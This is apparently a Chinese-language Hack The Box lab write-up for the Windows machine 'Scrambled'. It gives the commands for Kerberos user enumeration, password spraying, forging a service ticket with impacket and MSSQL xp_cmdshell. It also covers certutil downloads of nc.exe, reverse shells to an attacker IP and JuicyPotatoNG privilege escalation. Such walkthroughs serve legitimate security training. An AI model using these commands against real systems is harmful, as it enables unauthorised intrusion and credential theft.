HTB 学习笔记
【Hack The Box】windows练习-- Scrambled
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月17日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- HTB 学习笔记
- 信息收集
- 我看80
- 我看139
- 我看88ker
- 喷洒
- 黄金票据
- mssql攻击
- 借凭证
- 第二种提权
信息收集
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
| ssl-cert: Subject: commonName=DC1.scrm.local
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
4411/tcp open found
commonName=DC1.scrm.local
scrm.local
有dns,web,rpc,smb,mssql,ldap
我看80
ipconfig > %USERPROFILE%\Desktop\ip.txt
还获得了一个邮箱
support@scramblecorp.com
有一个
ScrambleDebugLog日志文件
4411有一个服务
可以注册用户
dirsearch -u http://scrm.local/ -x 403,401,500,400 -f
没有什么深层目录
我看139
enum4linux 10.10.11.168
啥也没有
rpc也是
我看88ker
第一步永远都是爆破用户
/root/Desktop/tools/windows/kerbrute_linux_amd64 userenum -d scrm.local --dc dc1.scrm.local /root/Desktop/tools/kerberos_enum_userlists-master/A-ZSurnames.txt
得到结果如下
ASMITH@scrm.local
JHALL@scrm.local
KSIMPSON@scrm.local
KHICKS@scrm.local
SJENKINS@scrm.local
接下来进行密码喷洒
喷洒
前面说密码与用个户名相同,我觉得肯定有相同的
/root/Desktop/tools/windows/kerbrute_linux_amd64 passwordspray -d scrm.local --dc dc1.scrm.local user.txt ksimpson
获取票证
getTGT.py scrm.local/ksimpson:ksimpson -dc-ip 10.129.15.50
impacket-GetUserSPNs scrm.local/ksimpson:ksimpson -dc-ip dc1.scrm.local -request -k -no-pass
但是报错了
于是搜索
好像是靶场的问题
发现是因为禁用ntlm造成的
https://github.com/SecureAuthCorp/impacket/issues/1206
在解决问题之后我们继续执行
于是我们得到了
得到hash第一步是尝试爆破密码
我们现在具有凭证
sqlsvc:Pegasus60
在这种情况下我们可以创建黄金票据,黄金票据需要我们知道用户凭据的ntml哈希值,还需要知道该域用户的sid
- 获取sid
impacket-secretsdump -k scrm.local/ksimpson@dc1.scrm.local -no-pass -debug
得到sid如下
S-1-5-21-2743207045-1827831105-2542523200-500
- ntml哈希值生成
https://codebeautify.org/ntlm-hash-generator
B999A16500B87D17EC7F2E2A68778F05
黄金票据
S-1-5-21-2743207045-1827831105-2542523200-500
B999A16500B87D17EC7F2E2A68778F05
在生成的时候,500代表用户的种类,要放到user-id 而在sid中要把500去掉
- 生成黄金票据
impacket-ticketer -domain scrm.local -spn MSSQLSVC/dc1.scrm.local -user-id 500 Administrator -nthash B999A16500B87D17EC7F2E2A68778F05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200
4. 票据登陆
export KRB5CCNAME=Administrator.ccache
impacket-mssqlclient dc1.scrm.local -k -no-pass
mssql攻击
enable_xp_cmdshell
xp_cmdshell("whoami")
SELECT name FROM master.dbo.sysdatabases
使用
ScrambleHR
use ScrambleHR
SELECT name FROM SYSOBJECTS WHERE xtype = ‘U’
select * from UserImport
MiscSvc:ScrambledEggs9900
一会拿个shell查看一下
xp_cmdshell certutil.exe -urlcache -f http://10.10.16.3/nc.exe ..\..\Temp\nc.exe
xp_cmdshell ..\..\Temp\nc.exe 10.10.14.12 4444 -e cmd.exe
拿到shell之后搞一个winpeas跑一下
certutil.exe -urlcache -f http://10.10.14.12/winpeas64.exe w.exe
发现了未引号的exe,但是我没用,觉得麻烦
有价值的信息如下
[C:\Program Files\ScrambleCorp\SalesOrdersService\ScrambleServer.exe
4411] - Auto - Running - No quotes and Space detected
CanPSRemote
但是winrm连接不上
借凭证
$SecPassword = ConvertTo-SecureString 'ScrambledEggs9900' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('scrm.local\MiscSvc', $SecPassword)
Invoke-Command -Computer dc1 -Credential $Cred -Command { cmd /c C:\Temp\nc.exe -e powershell 10.10.14.12 8888 }
tasklist /v
我不知道为什么我进不去
这很奇怪
我是有进入的权限的
第二种提权
当我在sql主机查看priv的时候,我发现了它
https://github.com/antonioCoco/JuicyPotatoNG/releases/tag/v1.1
cp /usr/share/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 .
去掉多余的东西,只留下icmp反弹的部分
变更格式,使得脚本可以按照ps bat执行
cat rev.ps1 |iconv -t UTF-16LE | base64 -w 0
这是靶场把流氓土豆拿上去
curl http://10.10.14.12/JuicyPotatoNG.exe -o jp.exe
64
powershell -enc [第二步的base64]
执行
./jp.exe -t * -p C:\Temp\t.bat
即可拿到system